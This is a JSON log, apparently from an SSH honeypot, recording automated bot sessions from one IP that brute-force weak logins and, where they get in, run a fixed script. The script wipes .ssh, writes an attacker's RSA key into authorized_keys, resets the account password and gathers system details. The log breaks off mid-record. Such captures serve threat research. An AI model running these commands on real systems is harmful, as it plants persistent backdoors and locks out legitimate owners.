{"id":"c3c91f58-9f83-4163-ac09-99daee32f21c","name":"cunning-hearty-hamster","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48694,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:53:05.994245+00:00","ended_at":"2026-08-26T12:53:06.995916+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"722bf368-483e-4dac-99db-67390780a96e","name":"mindful-wandering-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48490,"username":"mark","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":858,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:50:49.596202+00:00","ended_at":"2026-08-26T12:50:50.894741+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-26T12:50:18.198933+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:50:19.063099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:50:25.500356+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:50:26.169479+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:50:27.016260+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kram\\nWLkSZ0Zjpk90\\nWLkSZ0Zjpk90\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:50:27.896552+00:00","kind":"input","latency_ms":null,"data":"echo \"kram\\nWLkSZ0Zjpk90\\nWLkSZ0Zjpk90\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:50:28.797851+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:50:29.422070+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:50:30.295119+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:50:31.769961+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:50:32.617994+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:50:34.172584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:50:35.020933+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:50:35.522170+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:50:36.395101+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:50:36.926255+00:00","kind":"output","latency_ms":null,"data":" 12:50:36 up 6 days, 9:40, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:50:37.795882+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:50:38.661247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:50:39.508881+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:50:40.328630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:50:41.194558+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:50:41.671161+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:41 up 6 days, 9:40, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:50:42.530445+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:50:43.347229+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:50:44.199113+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:50:44.607517+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:50:45.494710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:50:46.368835+00:00","kind":"output","latency_ms":null,"data":"mark"},{"seq":29,"at":"2026-08-26T12:50:47.212126+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:50:48.735163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:50:49.597306+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:50:50.611584+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mark","password":"kram","method":"password","accepted":true,"tier":"other"}]} {"id":"02d2da41-52ba-4891-9e49-6d020c712266","name":"calm-snowy-quoll","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48512,"username":"mark","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:50:24.197392+00:00","ended_at":"2026-08-26T12:50:25.211023+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"mark","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b368caba-e450-4f06-95d6-c5c198015c8f","name":"kindly-meadow-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:50:21.096936+00:00","ended_at":"2026-08-26T12:50:22.493936+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ed78ff8b-f28a-42df-8a34-903fe480802a","name":"curious-blazing-marten","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48294,"username":"testUser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":870,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:48:03.193113+00:00","ended_at":"2026-08-26T12:48:04.611804+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T12:47:32.714458+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:47:33.592765+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:47:40.462665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:47:41.057353+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:47:41.902449+00:00","kind":"input","latency_ms":null,"data":"echo -e \"testUser\\ntNHA80xSzFiw\\ntNHA80xSzFiw\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:47:42.792454+00:00","kind":"input","latency_ms":null,"data":"echo \"testUser\\ntNHA80xSzFiw\\ntNHA80xSzFiw\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:47:43.660052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:47:43.919629+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:47:44.795896+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:47:46.411751+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:47:47.299120+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:47:48.764189+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:47:49.621729+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:47:50.036801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:47:50.898552+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:47:51.791492+00:00","kind":"output","latency_ms":null,"data":" 12:47:51 up 6 days, 9:37, 0 user, load average: 0.1, 0.11, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:47:52.661448+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:47:53.220355+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:47:54.098253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:47:54.695734+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:47:55.592567+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:47:56.044871+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:56 up 6 days, 9:38, 0 user, load average: 0.1, 0.11, 0.06\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:47:56.894060+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:47:57.601808+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:47:58.494784+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:47:59.095171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:47:59.964271+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:48:00.470391+00:00","kind":"output","latency_ms":null,"data":"testUser"},{"seq":29,"at":"2026-08-26T12:48:01.315483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:48:02.317245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:48:03.193573+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:48:04.339357+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"testUser","password":"testUser","method":"password","accepted":true,"tier":"other"}]} {"id":"343d5bfc-4860-486e-801d-616b9c6ea022","name":"frugal-pleasant-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48310,"username":"testUser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:47:38.799725+00:00","ended_at":"2026-08-26T12:47:40.193111+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"testUser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e0cb9555-8d67-46c5-8957-5185dcea9b81","name":"icy-ginger-weasel","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48302,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:47:35.602879+00:00","ended_at":"2026-08-26T12:47:36.998638+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b4003f62-4efb-45ee-993b-df2d0b2a7ee8","name":"peaty-quartz-tamarin","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48094,"username":"pokemon","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":873,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:45:19.307141+00:00","ended_at":"2026-08-26T12:45:20.818277+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T12:44:48.708793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:44:49.598999+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:44:57.298138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:44:58.126295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:44:58.994522+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pokemon\\ngnhXuhIC25fE\\ngnhXuhIC25fE\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:44:59.864481+00:00","kind":"input","latency_ms":null,"data":"echo \"pokemon\\ngnhXuhIC25fE\\ngnhXuhIC25fE\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:45:00.718246+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:45:01.255760+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:45:02.108938+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:45:03.189824+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:45:04.094515+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:45:04.857775+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:45:05.712509+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:45:05.992185+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:45:06.867640+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:45:07.748676+00:00","kind":"output","latency_ms":null,"data":" 12:45:07 up 6 days, 9:35, 0 user, load average: 0.11, 0.08, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:45:08.601623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:45:09.127017+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:45:10.001019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:45:10.535081+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:45:11.422811+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:45:12.014607+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:12 up 6 days, 9:35, 0 user, load average: 0.11, 0.08, 0.11\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:45:12.895146+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:45:13.386065+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:45:14.303339+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:45:15.075194+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:45:15.938287+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:45:16.690562+00:00","kind":"output","latency_ms":null,"data":"pokemon"},{"seq":29,"at":"2026-08-26T12:45:17.564754+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:45:18.453046+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:45:19.307654+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:45:20.524667+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pokemon","password":"pokemon","method":"password","accepted":true,"tier":"other"}]} {"id":"6816f6c3-e750-4fb6-90a8-70f2bb83a1a9","name":"spirited-crimson-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48110,"username":"pokemon","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:44:54.892466+00:00","ended_at":"2026-08-26T12:44:57.024554+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pokemon","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"aadaf836-64f3-45f2-a618-664c82bd2c68","name":"prairie-painted-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48102,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:44:51.591671+00:00","ended_at":"2026-08-26T12:44:53.193310+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f41e76a5-e6b6-44bb-b9b1-b6a5bb9d6ff7","name":"meadow-genial-catbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47894,"username":"u1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":853,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:42:46.905584+00:00","ended_at":"2026-08-26T12:42:48.039184+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2245,"events":[{"seq":1,"at":"2026-08-26T12:42:17.163619+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:42:18.007844+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:42:24.993805+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:42:25.408013+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:42:26.294365+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n7yrrdF6JS0e5\\n7yrrdF6JS0e5\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:42:27.192911+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n7yrrdF6JS0e5\\n7yrrdF6JS0e5\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:42:28.062404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:42:28.370114+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:42:29.217678+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:42:30.110967+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:42:30.994810+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:42:32.375052+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:42:33.221536+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:42:34.063894+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:42:34.909966+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:42:35.524028+00:00","kind":"output","latency_ms":null,"data":" 12:42:35 up 6 days, 9:32, 0 user, load average: 0.09, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:42:36.396708+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:42:36.956121+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:42:37.803083+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:42:38.315784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:42:39.196062+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:42:39.784453+00:00","kind":"output","latency_ms":null,"data":"top - 12:42:39 up 6 days, 9:32, 0 user, load average: 0.09, 0.1, 0.1\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI 